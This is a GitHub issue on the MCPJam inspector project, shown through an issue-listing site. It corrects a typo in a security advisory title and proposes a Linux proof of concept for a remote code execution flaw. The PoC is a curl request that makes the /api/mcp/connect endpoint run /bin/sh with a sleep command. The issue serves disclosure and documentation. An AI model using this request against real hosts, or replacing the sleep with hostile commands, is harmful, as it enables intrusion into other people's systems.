MCPJam / MCPJam/inspector

GHSA-232v-j27c-5pp6: Linux PoC suggestion and minor advisory corrections

Open
#2,362 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
TypeScript
Stars
2.2k
Forks
283
Avg merge
11h 47m
Merged PRs (30d)
737

Description

# Issue

- Typo in the advisory title [REC instead of RCE]
- Linux PoC suggestion

While reproducing CVE-2026-23744, I noticed that the advisory title currently says:
`"REC in MCPJam inspector..."`
instead of
`"RCE in MCPJam inspector..."`

Additionally, I confirmed exploitation on Linux using:
```bash
curl http://[IP]:6274/api/mcp/connect \
--header "Content-Type: application/json" \
--data '{
"serverConfig":{
"command":"/bin/sh",
"args":["-c","sleep 10"],
"env":{}
},
"serverId":"test"
}'
```

The resulting response delay corresponds to the sleep duration before the MCP connection closes, indicating command execution prior to MCP protocol validation.

It may be useful to include a Linux example alongside the existing Windows PoC.

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.